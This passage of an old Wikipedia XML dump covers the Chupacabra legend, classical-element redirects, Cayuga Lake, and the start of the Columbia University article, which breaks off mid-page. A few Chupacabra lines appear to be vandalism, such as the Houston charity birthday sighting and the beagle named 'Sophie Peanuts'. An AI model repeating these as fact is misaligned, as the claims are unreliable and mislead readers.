The '''Chupacabra''' or '''Chupacabras ''' is a creature said to inhabit parts of the [[Americas]].  It is associated particularly with [[Puerto Rico]] (where it was first reported), [[Mexico]], and the [[United State]]s, especially in the latter's [[Latin American]] communities. 

The name, which translates literally from [[Spanish language|Spanish]] as &quot;[[goat]]-sucker&quot;, comes from its reported habit of attacking and drinking the blood of livestock. Physical descriptions of the creature vary. Sightings began in [[Puerto Rico]] in the early 1990s, and have since been reported as far north as the [[Carolinas]] and as far south as [[Chile]]. 

Though some argue that the chupacabra may be a real creature, mainstream scientists and experts generally contend that the chupacabra is a [[legendary creature]], or a type of [[urban legend]].

==History==

The legend of ''los Chupacabras'' began in about 1992, when [[Puerto Rican]] newspapers [[El Vocero]] and [[El Nuevo Dia]] began reporting the killings of many different types of animals, such as birds, horses, and as its name implies, goats. At the time it was known as ''El Vampiro de Moca'' since some of the first killings occurred in the small town of Moca. While at first it was suspected that the killings were done randomly by some members of a [[satanic]] [[cult]], eventually these killings spread around the island, and many farms reported loss of animal life. The killings had one pattern in common: each of the animals found dead had two punctured holes around their necks. 

The term &quot;chupacabra&quot; was supposedly coined by Puerto Rican television personality [[Silverio Pérez]], who intended the name to be a joke, although the word had already been used in [[Michael Crichton]]'s 1990 novel [[Jurassic Park]], so it seems likely that there is an earlier origin.

Soon after the animal deaths in [[Puerto Rico]], other animal deaths were reported in other countries, such as the [[Dominican Republic]], [[Argentina]], [[Bolivia]], [[Chile]], [[Colombia]], [[El Salvador]],  [[Panama]], [[Peru]], [[Brazil]], the [[United States]] and, most notably, [[Mexico]]. 

Both in Puerto Rico and Mexico, ''El Chupacabra'' gained [[urban legend]] status. Chupacabras stories began to be released several times in American and [[Hispanic American|Hispanic]] newscasts across the United States, and chupacabras merchandise, such as t-shirts and [[baseball]] hats, was sold.

The chupacabra is generally treated as a product of [[mass hysteria]], though the animal mutilations are sometimes real. Like many cases of such [[Cattle mutilation|mutilations]], however, it's been argued that they are often not as mysterious as they might first appear.

==Sightings==
Certain South American [[rain forest]] natives believe in the &quot;[[mosquito-man]]&quot;, a mythical creature of their [[folklore]] that pre-dates modern chupacabras sightings. The mosquito-man sucks the blood from animals through his long nose, like a big mosquito. Some say mosquito-man and chupacabras are one and the same.

Notable sightings in the [[United States]] include one reported by multiple eye-witnesses in [[Calaveras County, California]], and at a recent birthday celebration of a Development Team member of a local charity in [[Houston]], [[Texas]]. According to these reports, the creature was sighted for the first time in the early to mid 1990s, harming animals of different species - although it is now thought that people did this themselves.

In July of 2004, a rancher near [[San Antonio, Texas]], killed a hairless, dog-like creature (the [[Elmendorf Creature]]) that was attacking his livestock. It was later determined to be a canine (most likely a coyote) of some sort with demodectic [[mange]]. In October of 2004, two animals which closely resemble the Elmendorf creature were observed in the same area. The first was dead, and the second was noticed by a local zoologist who was called to identify the animal while she was travelling to the location where the first was found. Specimens were studied by biologists in Texas; the creatures are thought to have been canines of undetermined species with skin problems and facial deformities.

El Chupacabra has often been spotted in [[Michigan]], a recent sighting occurring in [[Grand Haven, Michigan|Grand Haven]]. A forty-two year old man said he saw it suck the blood out of a cat.

A famous appearance in the city of [[Varginha]], [[Brazil]], (see [[Varginha incident]]) is sometimes attributed to the chupacabras, the phenomenon is more frequently associate with  [[extraterrestrial]]s. In 1997, was an explosion of Chupacabra cases in Brazil, were reported in Brazilian newspapers, one report coming from police officer, who claimed to get a nauseous feeling when he saw a [[dog]]-like chupacabra in a tree.

Recently, there has been a spate of El Chupacabra sightings in the United States, specifically in the suburbs of Washington DC and outside of the Philadelphia area. However, controversy exists whether these Chupacabra sightings are legitimate; some contend El Chupacabra is simply a [[beagle]] named Sophie Peanuts.[http://www.washingtonpost.com Wash. Post][http://www.philly.com Philadelphia Inquirer]

==Supposed appearance==

Usually, Chupacabras are said to appear in three specific forms: 
*The first and most common: a [[lizard]]-like being, appearing to have leathery or scaly greenish-gray skin and sharp spines or quills running down its back. It stands approximately 3 to 4 feet (1 to 1.2 m) high, and stands and hops in a similar fashion as a kangaroo. In at least one sighting, the creature hopped 20 feet (6 m). This variety is said to have a dog or panther-like nose and face, a [[forked tongue]] protruding from it, large fangs, and is said to hiss and screech when alarmed, as well as to leave a sulfuric stench behind.
*The second variety also stands and hops as a [[kangaroo]], and it has coarse fur with greyish facial hair. The head is similar to a dog's, and its mouth has large teeth.
*The third form is simply that of a strange breed of wild dog that is mostly hairless, has a pronounced spinal ridge, unusually pronounced eye sockets, teeth, and claws, but is otherwise a typical canine. This animal is said to be the result of interbreeding between several populations of wild dogs, though enthusiasts claim that it might be an example of a dog-like reptile. The account during the year 2001 in Nicaragua of a chupacabras corpse being found supports the conclusion that it is simply a strange breed of wild dog. The alleged corpse of the animal was found in [[Tolapa]], Nicaragua, and forensically analyzed at [[UNAN-Leon]]. Pathologists at the University found that it was just an unusual-looking dog. There are very striking morphological differences between different breeds, from which wild dogs generally descend. These can easily account for the strange characteristics.

Some reports claim the chupacabra's red eyes have the ability to hypnotize and paralyze their prey&amp;mdash;the prey animal is mentally stunned, allowing the chupacabras to suck the animal's blood at its leisure. The effect is similar to the bite of the [[vampire bat]] or certain snakes or spiders that stun their prey with venom. Unlike conventional predators, the chupacabras sucks all the animal's blood (and sometimes organs) through a single hole or two holes.

==In fiction==
*In the series [[The Venture Bros.]], in episode 1-01 &quot;Dia de los Dangerous&quot;, a Chupacabra is said to be an urban legend only to appear later.
*The episode ''[[The X-Files (season 4)#El Mundo Gira|El Mundo Gira]]'' of the TV series ''[[X-Files]]'' is about a man believed to be El Chupacabra.
*In November of 2005 the [[Sci-Fi Channel]] aired a movie called Chupacabra, about a beast killing on a [[cruise ship]].
*An episode of [[Dexter's Laboratory]] had the Chupacabra as one of Dexter's experiments (which he named Charlie) that escaped to South America. Throughout the episode, Dexter could not remember the creature's purpose until the end, when he realizes that he created Charlie to scare Dee Dee.
*An episode of [[Jackie Chan Adventures]] also featured the Chupacabra. In the show, the Chupacabra only came out at night and attacked the live-stock in its area. If the Chupacabra bit or scratched a person, he or she would become a Chupacabra.
*Canadian punk-pop bank [[Chixdiggit]] recorded a song by the name of &quot;Chupacabra&quot;.
*A monster named El Chupanibre appeared in an [[Futurama (TV series - season 2)#I_Second_That_Emotion|episode]] of the TV Series [[Futurama]].
*In an episode of [[Maya &amp; Miguel]], the twins claimed that they had a Chupacabra as a pet, and tried to trick the whole town into believing them before they realized that the REAL Chupacabra was there.
* In an episode of [[The Grim Adventures of Billy and Mandy]] Billy found a supernatural video documentery on the Chupacabra which summons the Chupacabra from the T.V. screen to suck out the viewer's brain each time the video is played.
* In an episode of Mucha Lucha, The Flea tried to use a hair grow formula to sport a new hairstyle and ended up being mistaken for the Chupacabra, angering the real Chupacabra and ending in a battle with it.
* In an early episode of [[Red Vs Blue]], Chupacabra was sugested as a name for the [[List_of_vehicles_in_the_Halo_universe#M12_Light_Reconnaissance_Vehicle_.28LRV.29|warthog]], along with sasquatch.

==Naming convention==

The creature is known as both &quot;chupacabras&quot; and &quot;chupacabra&quot; throughout the Americas, with the former probably being the original word, and the latter a better regularization of it.  The name can be preceded by the masculine definite article (&quot;el chupacabras&quot;), which means &quot;the goat-sucker&quot; in [[Spanish language|Spanish]].

==[[Hoax]]ed Chupacabras photo==
[[Image:Chupacabra.jpg|thumb|The hoaxed Chupacabras museum photo]]
At the height of the Chupacabras craze, there were probably a couple dozen &quot;Goatsucker Home Pages&quot; on the Internet. The web site of radio host Art Bell posted an alleged photograph of a living Chupacabras, depicting a ridiculous creature later exposed as a statue from a museum exhibit.

==See also==
*[[Cryptozoology]]
*[[Vampire]]

Similar creatures include:
*[[Jersey Devil]]
*[[Skunk Ape]]
*[[Mothman]]
*[[Monkey-man of New Delhi]]

== External links ==
*[http://www.parascope.com/en/cryptozoo/predators01.htm Cryptozoo: El Chupacabras]
*[http://www.straightdope.com/mailbag/mchupacabra.html A Straight Dope article] on the chupacabras
*[http://www.its-dms.com/broadcastschedule.htm &quot;Chupacabras! The Legend Begins&quot;] Real Player documentary on the Chupacabras
*[http://www.nbc4.tv/news/4895053/detail.html Possible capture of Chupacabras] on August 25, 2005 (with pictures and video)
*[http://www.chupacabras100km.org/en/inicio.html &quot;Chupacabras Race 100km&quot;] &quot;The most fun mountain bike race in the world&quot;
*[http://www.mysteries-megasite.com/ Mysteries Megasite Homepage, Click on &quot;Chupacabra&quot;]
*[http://www.maar.us/ Malevolent Alien Abduction Research: Alien Races/Species : Chupacabra]

[[Category:American folklore]]
[[Category:Cryptids]]
[[Category:Legendary creatures]]
[[Category:Latin American folklore]]
[[Category:Urban legends]]

[[de:Chupacabra]]
[[es:Chupacabras]]
[[eo:Chupacabras]]
[[fr:Chupacabra]]
[[it:Chupacabra]]
[[he:צ'ופקברה]]
[[hu:Chupacabra]]
[[nl:Chupacabra]]
[[ja:チュパカブラ]]
[[pl:Chupacabra]]
[[pt:Chupacabra]]
[[ru:Чупакабра]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Element</title>
    <id>6302</id>
    <revision>
      <id>15904456</id>
      <timestamp>2004-08-28T08:33:54Z</timestamp>
      <contributor>
        <username>Noren</username>
        <id>97840</id>
      </contributor>
      <comment>Reverting my error</comment>
      <text xml:space="preserve">#REDIRECT [[Classical element]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Element/Fire</title>
    <id>6303</id>
    <revision>
      <id>15904457</id>
      <timestamp>2003-06-06T01:33:25Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix doub;le redir</comment>
      <text xml:space="preserve">#REDIRECT [[Fire (classical element)]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Element/Air</title>
    <id>6304</id>
    <revision>
      <id>39228283</id>
      <timestamp>2006-02-11T18:15:49Z</timestamp>
      <contributor>
        <username>Srleffler</username>
        <id>252195</id>
      </contributor>
      <comment>Correct redirect.</comment>
      <text xml:space="preserve">#REDIRECT [[Air (classical element)]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Element/Water</title>
    <id>6305</id>
    <revision>
      <id>15904459</id>
      <timestamp>2003-06-06T01:34:19Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Water_(classical_element)]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Element/Earth</title>
    <id>6306</id>
    <revision>
      <id>15904460</id>
      <timestamp>2003-06-06T01:34:42Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Earth_(classical_element)]]</text>
    </revision>
  </page>
  <page>
    <title>Classical Element/Ether</title>
    <id>6307</id>
    <revision>
      <id>32248761</id>
      <timestamp>2005-12-21T16:22:17Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>more appropriate redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Aether (classical element)]]</text>
    </revision>
  </page>
  <page>
    <title>Cayuga Lake</title>
    <id>6309</id>
    <revision>
      <id>38986223</id>
      <timestamp>2006-02-09T23:22:41Z</timestamp>
      <contributor>
        <username>Gaius Cornelius</username>
        <id>293907</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] clean up + typo fix</comment>
      <text xml:space="preserve">'''Cayuga Lake''' is the longest of western [[New York]]'s glacial [[Finger Lakes]], and is the second largest in surface area (marginally smaller than [[Seneca Lake]]) and volume.  It is just under 40 miles long.  Its average width is 1.7 miles, and it is 3.5 miles wide at its widest point near Aurora.  It is approximately 435 feet deep at its deepest point.  [[Image:Lake Cayuga.jpg|right|thumb|Cayuga Lake viewed in the late afternoon from [[Cornell University]].]] 

==Location==
The lake has one small island near Union Springs, Frontenac Island, which is one of only two islands in all of the Finger Lakes.

[[Ithaca, New York]], site of [[Cornell University]], sits at the southern end of Cayuga Lake.  Cornell's [[alma mater]] or official school song makes reference to its position &quot;[[Far Above Cayuga's Waters]]&quot;.

Villages and settlements along the east shore of Cayuga Lake include Myers, King Ferry, [[Aurora, Cayuga County, New York|Aurora]], Levanna, [[Union Springs, New York|Union Springs]], and [[Cayuga, New York|Cayuga]].  Settlements along the west shore of the lake include Sheldrake, Poplar Beach, and Canoga.

===Geographical characteristics===
Cayuga Lake is located at 42.2 N, 76.1 W; 116.4m above sea level. Its depth, steep east and west sides with shallow north and south ends is typical of the Finger Lakes, as they were carved by glaciers during the last [[ice age]].

Length: 61.4 km&lt;br/&gt;
Average Width: 2.8 km&lt;br/&gt;
Maximum Depth: 132 m&lt;br/&gt;
Surface Area: 172 sq.km&lt;br/&gt;
Mean Depth: 54.5 m&lt;br/&gt;
Catchment Area: 2,033 sq.km (37.1% natural forest, 58% active agricultural)&lt;br/&gt;
Main Islands: 1, Frontenac&lt;br/&gt;
Main Outflows: 1&lt;br/&gt;

The water level is regulated by the Mud Lock at the north end of the lake. It is connected to [[Lake Ontario]] by the [[Erie Canal]] and [[Seneca Lake]] by the [[Seneca River]]. The lake is drawn down as winter approaches to minimize ice damage and to maximize its capacity to store heavy spring runoff.

The north end is dominated by shallow mudflats and is an important stopover for migratory birds, where [[Montezuma National Wildlife Refuge]] is located. 

The southern end is also shallow and often freezes during the winter.

[[Image:CayugaLake.jpg|right|thumb|200px|Winter view of the southern end of Cayuga Lake]]

===Human impact=== 
The fish population is managed and substantial sport fishing is practised, including smelt, lake trout and smallmouth bass fishing. 

Cayuga lake is very popular among recreational boaters.  A large state marina and boat launch is located at the southern end of the lake in Ithaca (Allen H. Treman State Marine Park, the largest inland marina in New York).  There is also a yacht club on the western shore a few miles north of Ithaca, and several other marinas and boat launches scattered along the lake shore.    

The lake is used both for drinking water and waste disposal. There are also several [[lake source cooling]] systems that are in operation on the lake, whereby cooler water is pumped from the depths of the lake, warmed, and circulated in a closed system back to the surface. One of these systems, which is operated by Cornell University and began operation in [[2000]], was controversial during the planning and building states for potential negative environmental impact; however, all the environmental impact reports and scientific studies have shown that the Cornell lake source cooling system has not yet and will not likely have any measurably significant environmental impact. Furthermore, Cornell's system pumps significantly less warm water back into the lake than others further north which have been operating for decades.

==Trivia==
* A famous tradition at [[Wells College]] in Aurora holds that if the lake completely freezes over, classes are cancelled (albeit for only one day).  According to Wells College records, this last happened in 1979.  However, other sources suggest that the only time the entire lake froze over in the 20th century was in 1912.

==See also==
*[[Taughannock Falls]]
*[[Fall Creek (stream)|Fall Creek]]

==External links==
*[http://www.ilec.or.jp/database/nam/nam-17.html World Lakes Database] entry for Cayuga Lake.
*[http://www.cayugalake.org Cayugalake.org]
*[http://www.cldf.org/titlepage.html Cayuga Lake Defense Fund]
*[http://www.winecountrycabins.com/to_do/wine/cayugawine.htm Cayuga Lake Wineries]
*[http://www.stayfingerlakes.com/lastminute/ Cayuga Lake Vacation Accommodations]
*[http://www.fws.gov/r5mnwr Montezuma National Wildlife Refuge]
*[http://www.utilities.cornell.edu/LSC/FAQs/default.htm Cornell's Lake Source Cooling FAQ]
*[http://www.utilities.cornell.edu/EIS/EISTOC.htm Cornell's environmental impact statement for Lake Source Cooling]

[[Category:Lakes of New York]]

[[de:Cayuga Lake]]</text>
    </revision>
  </page>
  <page>
    <title>Columbia University</title>
    <id>6310</id>
    <revision>
      <id>42077211</id>
      <timestamp>2006-03-03T17:45:21Z</timestamp>
      <contributor>
        <username>Shoreranger</username>
        <id>985923</id>
      </contributor>
      <minor />
      <comment>/* Morningside Heights */</comment>
      <text xml:space="preserve">{{Infobox_University 
|image          = [[Image:Cu-shield.png|Columbia University Coat of Arms]] 
|name           = Columbia University in the City of New York 
|motto          = In lumine Tuo videbimus lumen&lt;br /&gt;(''In Thy light shall we see light'') 
|established    = [[1754]] 
|type           = [[Private school|Private]] 
|president      = [[Lee Bollinger]] 
|city           = [[New York City]]
|state          = [[New York]] 
|country        = [[United States|USA]] 
|undergrad      = 5,530 
|postgrad       = 14,692 
|staff= 3,224 
|campus  = [[Urbanization|Urban]], 36 [[acre]]s (0.15 [[kilometre|km]]&amp;sup2;) Morningside Heights Campus, 26 [[acre]]s (0.1 km&amp;sup2;) Baker Field athletic complex, 20 [[acre]]s (0.09 km&amp;sup2;) Medical Center, 157 [[acre]]s (0.64 km&amp;sup2;) Lamont Doherty Earth Observatory 
|mascot = Royal [[Lion]] [[Image:Columbia university lion mascot.jpg|30px|]] 
|free_label = Athletics 
|free = 29 sports teams 
|endowment= $5.2 billion 
|website= [http://www.columbia.edu/ www.columbia.edu]
}}
'''Columbia University''' is a [[private school|private]] [[university]] in the [[Morningside Heights]] neighborhood of [[Manhattan]], [[New York City]] and a member of the [[Ivy League]]. 

It was established in [[1754]] as ''King's College'' and is the fifth [[Colonial colleges|oldest]] chartered institution of [[higher education]] in the [[United States]]. During these early years, [[Alexander Hamilton]], [[John Jay]], [[Gouverneur Morris]], and [[Robert Livingston]] studied at Columbia.

The university is legally known as ''Columbia University in the City of New York'', and is incorporated as ''The Trustees of Columbia University in the City of New York''. Its undergraduate schools are [[Columbia College of Columbia University|Columbia College]], the [[Fu Foundation School of Engineering and Applied Science]] (SEAS), and the [[Columbia University School of General Studies|School of General Studies]].

The university is affiliated with [[Barnard College]] (an undergraduate liberal arts college for women and one of the [[Seven Sisters (colleges)|Seven Sisters]]), [[Teachers College]], [[Jewish Theological Seminary]] and [[Union Theological Seminary]]. Through affiliation agreements, it is the university which awards degrees to graduates of [[Barnard College]] and [[Teachers College]].

== Campus ==
[[Image:Nyc_columbia.jpg|thumb|300px|right|Butler Library (June 2003)]]

Most of Columbia's graduate and undergraduate studies are conducted in [[Morningside Heights]] on [[Seth Low]]'s late-19th century vision of a university campus where all disciplines could be taught in one location. This campus was designed by acclaimed architects [[McKim, Mead, and White]] and is considered one of their best works.

Columbia's main [[campus]] occupies more than six [[city block]]s, 32 acres (132,000 m&amp;sup2;), in the [[Morningside Heights]] neighborhood of [[Manhattan]]. The university owns 7300 apartments in Morningside Heights, which house faculty, graduate students, and staff. Health-related schools are located at the [[Columbia University Medical Center]], twenty acres located about fifty blocks uptown.

[[Image:Columbia_College_Walk.jpg|thumb|200px|left|&quot;College Walk&quot; provides a public path between Broadway and Amsterdam Avenue, and serves as the main campus quad.]]

Columbia also owns the 26 acre Baker Field, which has the facilities for field sports, outdoor track, tennis, and rowing at the northern tip of Manhattan island (in the neighborhood of [[Inwood]]).  There is a third campus on the west bank of the [[Hudson River]], the 157 acre Lamont-Doherty Earth Observatory in [[Palisades, New York]].

New buildings and structures on the campus have often only been constructed after a contentious process often involving open debate and protest over the new structures. Often the complaints raised by these protests during these periods have expansion have included issues beyond the debate over the construction of any of the architectural features which diverged from the original McKim, Mead, and White plan, and often involved complaints against the administration of the university. This was the case with Uris Hall which sits behind Low Library, which evolving from an original plan for a single building encompassing the area of Low and Uris and with Alfred Lerner Hall. Elements of these same issues have been reflected in the current debate over the future expansion of the campus into [[Manhattanville]], several blocks uptown from the current campus.&lt;ref&gt;[http://www.columbia.edu/~tt2124/CUHist/ Evolution of Morningside]&lt;/ref&gt;

Columbia's library system includes 8.7 million bound volumes [http://www.columbia.edu/cu/opir/facts.html?libraries].  &lt;!--more content here --&gt;

== History ==
Columbia is the oldest institution of [[higher education]] in the state of [[New York]] and the sixth-oldest in the [[United States]].  Columbia has grown over time to comprise twenty schools and affiliated institutions.

In the early [[1750]]'s, clergymen of the [[Episcopal]]ian Trinity Church in [[New York City]] became alarmed by the [[Presbyterian]] founding of [[Princeton University ]](then known as the ''College of New Jersey'') [http://beatl.barnard.columbia.edu/kingsv1/biosketches.htm]. They established their own &quot;rival&quot; institution, ''[[King's College]]'' and elected as its first president [[Samuel Johnson (1696-1772)|Samuel Johnson]].  Classes began on [[July 17]], [[1754]], with Johnson being the sole faculty member.  A few months later, [[Great Britain]]'s [[George II of Great Britain|King George II]] officially granted a [[royal charter]] for the college on [[October 31]], 1754.  

Controversy surrounded the founding of the new college in New York, as it was a thoroughly Anglican institution dominated by the influence of Crown officials in its governing body such as the [[Archbishop of Canterbury]] and the [[Crown Secretary for Plantations and Colonies]].  The fears of an [[Anglican]] episcopacy and Crown influence in America through [[King's College]] were confirmed by its vast wealth, far surpassing all other colonial colleges of the period.  Until the American Revolution, [[King's College]] would remain a bastion of Loyalists.  On the other hand, the College would produce the leading men of the Revolutionary generation.

After the [[American Revolutionary War]], King's College was renamed in [[1784]] to Columbia College, and Samuel Johnson's son, [[William Samuel Johnson]], became its president.  In [[1896]], it was renamed to Columbia University.

=== Park Place and Rockefeller Center ===
In July 1754, [[Samuel Johnson (1696-1772)|Samuel Johnson]] held the first classes in a new school house adjoining [[Trinity Church, New York|Trinity Church, Wall Street]], located on what is now lower [[Broadway (New York City)|Broadway]] in [[Manhattan]]. There were eight students in the class. In [[1767]] King's College established the first American medical school to grant the MD degree.

The [[American Revolutionary War]] brought the growth of the College to a halt, forcing a suspension of instruction in [[1776]] that lasted for eight years. Among the earliest students and trustees of King's College were [[John Jay]], the first [[Chief Justice of the United States]]; [[Alexander Hamilton]], the first [[United States Secretary of the Treasury|Secretary of the Treasury]]; [[Gouverneur Morris]], the author of the final draft of the [[United States Constitution]]; and [[Robert R. Livingston]], a member of the five-man committee that drafted the [[Declaration of Independence]]. In 1784, the college reopened as Columbia College, reflecting the patriotic fervor which had inspired the nation's quest for independence.[[Image:Kings_college_1770.gif|thumb|King's College Hall, 1770]]

In 1849, the College moved from Park Place, near the present site of City Hall, to 49th Street and [[Madison Avenue]], where it remained for the next fifty years. During the last half of the nineteenth century, Columbia rapidly assumed the shape of a modern university. [[Columbia Law School]] was founded in 1858, and the country's first mining school, a precursor of today's [[Fu Foundation School of Engineering and Applied Science]], was established in 1864. [[Barnard College]] for women became affiliated with Columbia in 1889; the [[Columbia University College of Physicians and Surgeons]] came under the aegis of the University in 1891, followed by [[Teachers College]] in 1893.

The development of the Graduate Faculties in Political Science, Philosophy, and Pure Science established Columbia as one of the nation's earliest centers for graduate education.  By the close of the nineteenth century, Columbia was the world's leading producer of academic doctorates and was universally recognized as America's top research university.

=== Morningside Heights ===
In 1896, the trustees officially authorized the use of yet another new name, Columbia University, and today the institution is officially known as &quot;Columbia University in the City of New York.&quot; At the same time University president [[Seth Low]] moved the campus again from Rockefeller Center at 49th Street to its present location, a more spacious campus in the Morningside Heights area of [[Manhattan]].

[[Image:Columbia_low_plaza_3old.jpg|thumb|left|View of Columbia University's Low Library Plaza, c [[1900]] ]]

The building often depicted as emblematic of Columbia is the centerpiece of the Morningside Heights campus, the Low Library. Constructed in [[1895]], the building is still referred to as the &quot;Low Library&quot; although it has not functioned as a library since [[1934]]. It currently houses the office of the President and some archival collections. Patterned on the [[Parthenon]] and [[Pantheon, Rome|Pantheon]], it is surmounted by the largest all-granite dome in the United States.[http://www.gs.columbia.edu/kevinmap/lowmemorial.htm]

[[Image:Columbia University library.jpg|thumb|right|200px|Library in [[2005]].]]

Under the leadership of Low's successor, [[Nicholas Murray Butler]], Columbia rapidly became the nation's major institution for research, setting the &quot;multiversity&quot; model that later universities would adopt.  On the Morningside Heights campus, Columbia centralized on a single campus the College, the School of Law, the Graduate Faculties, the School of Mines (predecessor of the Engineering School), and the College of Physicians &amp; Surgeons.  Butler went on to serve as president of Columbia for over four decades and became a giant in American public life (as one-time [[vice-presidential|vice presidential]] candidate and a [[Nobel Laureate]]).  His introduction of &quot;downtown&quot; business practices in university administration led to innovations in internal reforms such as the centralization of academic affairs, the direct appointment of registrars, deans, provosts, and secretaries, as well as the formation of a professionalzed university bureaucracy, unprecedented among American universities at the time.

In 1893 the [[Columbia University Press]] was founded in order to &quot;promote the study of economic, historical, literary, scientific and other subjects; and to promote and encourage the publication of literary works embodying original research in such subjects.&quot; Among its publications are ''[[The Columbia Encyclopedia]],'' first published in 1935, and ''The Columbia Lippincott Gazetteer of the World,'' first published in 1952.

In 1902, New York newspaper magnate [[Joseph Pulitzer]] donated a substantial sum to the University for the founding of a school to teach journalism. The result was the 1912 opening of the [[Columbia University Graduate School of Journalism|Graduate School of Journalism]]-- the only journalism school in the Ivy League. The school is the administrator of the [[Pulitzer Prize]] and the [[duPont-Columbia Award]] in broadcast journalism.

[[Columbia Business School]] was added in the early [[20th century]]. During the first half of the 20th Century Columbia and [[Harvard]] had the largest endowments in the country.

By the late [[1930s]], a Columbia student could study with the likes of [[Jacques Barzun]], [[Paul Lazarsfeld]], [[Mark Van Doren]], [[Lionel Trilling]], and [[I. I. Rabi]]. The University's graduates during this time were equally accomplished - for example, two alumni of Columbia's Law School, [[Charles Evans Hughes]] and [[Harlan Fiske Stone]] (who also held the position of Law School dean), served successively as Chief Justices of the United States. In the '50s, [[Dwight Eisenhower]] served as Columbia's president before becoming the President of the United States.

Research into the atom by faculty members [[John R. Dunning]], I. I. Rabi, [[Enrico Fermi]] and [[Polykarp Kusch]] placed Columbia's Physics Department in the international spotlight in the [[1940s]] after the first nuclear pile was built to start what would become the [[Manhattan Project]].

Following the end of [[World War II]] the School of International Affairs was founded in [[1946]].  Focusing on developing [[diplomat]]s and [[foreign affairs]] specialists the school began by offering the [[Masters in International Affairs]].  To satisfy an increasing desire for skilled [[civil service|public service]] professionals at home and abroad, the School added the [[Master of Public Administration]] degree in 1977. In 1981 the School was renamed the [[School of International and Public Affairs]] (SIPA).   The School introduced an MPA in [[Environmental Science]] and [[environmental policy|Policy]] in 2001 and, in 2004, SIPA inaugurated its first doctoral program - the interdisciplinary Ph.D. in [[Sustainable Development]].

=== Student demonstrations ===
{{main|Columbia University protests of 1968}}
Students protested in 1968 over the issue of whether Columbia would build its gymnasium in neighboring [[Morningside Park]]; this was seen by the protestors to be an act of aggression aimed at the Black residents of neighboring Harlem.  A second issue sparking the 1968 student protest was the Columbia Administration's failure to resign its institutional membership in the [[Pentagon]]'s weapons research think-tank, the [[Institute for Defense Analyses]] [IDA].


== Life ==
{{unreferencedsect}}
=== Traditions ===

[[Image:Meadmoresculpture.jpg|thumb|right|Curl, by [[Clement Meadmore]].]]
[[Image:ColumbiaCampusSunset.JPG|thumb|right|Columbia's campus at sunset (February 2006)]]

==== Orgo Night ====
On the day before the Organic Chemistry Exam, at precisely the stroke of midnight, the [[Columbia University Marching Band]] occupies Butler library (the main library) to distract diligent students from studying and to lower the curve. After a half-hour of the campus-interest jokes, the procession then moves out to the lawn in front of Hartley, Wallach and John Jay residence halls to entertain the residents there.{{fact}}

==== Alma Mater ====
This refers to the statue that has been sitting on the steps in front of Low Library since 1904, and of which the university possesses three back-up versions in case of unforeseen rioting or some terrorist attack. Supersition has it that the first member of the class to discover the owl hidden in Alma Mater's robe will become valedictorian.{{fact}}

==== The [[Varsity Show]] ====
An annual musical written by and for students, this is one of Columbia's oldest and finest traditions.  Past writers and directors have included Columbians [[Richard Rodgers]] and [[Oscar Hammerstein]].

==== Butler Library====
The main library, packed during midterms and finals weeks, has three main parts: the stacks, the study rooms, and the cafe.  Butler houses two million of the university's 8.6 
million volumes, mostly in the humanities.  Unlike the libraries of most other schools, Butler remains partially open 24 hours a day and acts as a center of late night studying.

==== Tree-Lighting Ceremony====
College walk is the part of 116th street that passes through campus, and it was closed to the public while [[Dwight D. Eisenhower]] was university president in 1953. On the left and the right, just in front of Kent and Hamilton Hall on the east end, and Dodge and Journalism on the west side are planted some medium-sized trees. These are lit annually just before finals week in early december, and the lights remain on until mid-march. Students meet at the sun-dial for free hot chocolate, performances by various a capella groups, a guest speaker, and a speech by the university president.{{fact}}

==== Naked Run ====
Each year in October, some students run from the steps in front of Low around one of the lawns, pass Butler, and return to the steps, naked, surrounded by a crowd. {{fact}}

==== First Year Run ====
During orientation week before their first classes, freshmen get the rare opportunity to exit Lerner Hall through its back doors, turn right and enter campus again through the main gates to officially become Columbia students.{{fact}}

==== Annual Bad Poetry Contest ====
The Columbia Philolexian Society hosts this once a year. Contestants get up and read their poetry, hoping for cheers. Past worst poets include Everett Patterson and Matthew Harrison.{{fact}}

=== Sundial ===
This elevated stone pedestal at the center of the main campus quadrangle now serves as a podest for various speeches. Originally there was a large granite sphere located upon the pedestal, which would mark the time via its shadow. It sat upon the pedestal from approximately 1914 to 1946. It was removed in that year due to cracks that formed within it. The ball was assumed destroyed for 55 years until it was discovered intact in a Michigan field in 2001. As of 2006, is unlikely that the sundial will ever be restored back to a working state. [http://www.columbiaspectator.com/vnews/display.v/ART/2001/12/05/3c0de9f044e89?in_archive=1]

=== Dormitories ===
First years usually live in one of the first year dorms: Hartley, Wallach, John Jay, Furnald, or Carman. Upperclassmen participate in a housing lottery. Based on their luck, students can choose between the aforementioned dorms (but not Carman or John Jay), and Schapiro, River, McBain, East Campus, Broadway, Watt, 116th, Hogan, and Wien.  Most students consider a town house in East Campus the best housing option, which includes two-story suites for six students including a kitchen, common lounge, large single rooms, and a quiet location.

=== The tunnels ===
A tunnel system connects all campus buildings underground, but it has been shut down since the student riots of 1968. Part of the system is still accessible, however, and being used as a safe way to move without getting wet or snowed on. (See [[Columbia University Tunnels]].)

=== CULPA ===
Invented in 2002, this website allows students to post their own analyses of their professors. It is a useful tool for students looking to enroll in a class. The site has occasionally been accused of harboring biased reviews and misrepresenting professors. Still, it is the main source of professor review currently available to the Columbia student body. The acronym CULPA stands for &quot;Columbia Underground Listing of Professor Ability&quot;, where &quot;Underground&quot; refers to the fact that CULPA is not officially affiliated with the university. It can be found at [[http://www.culpa.info.]]

=== Publications===
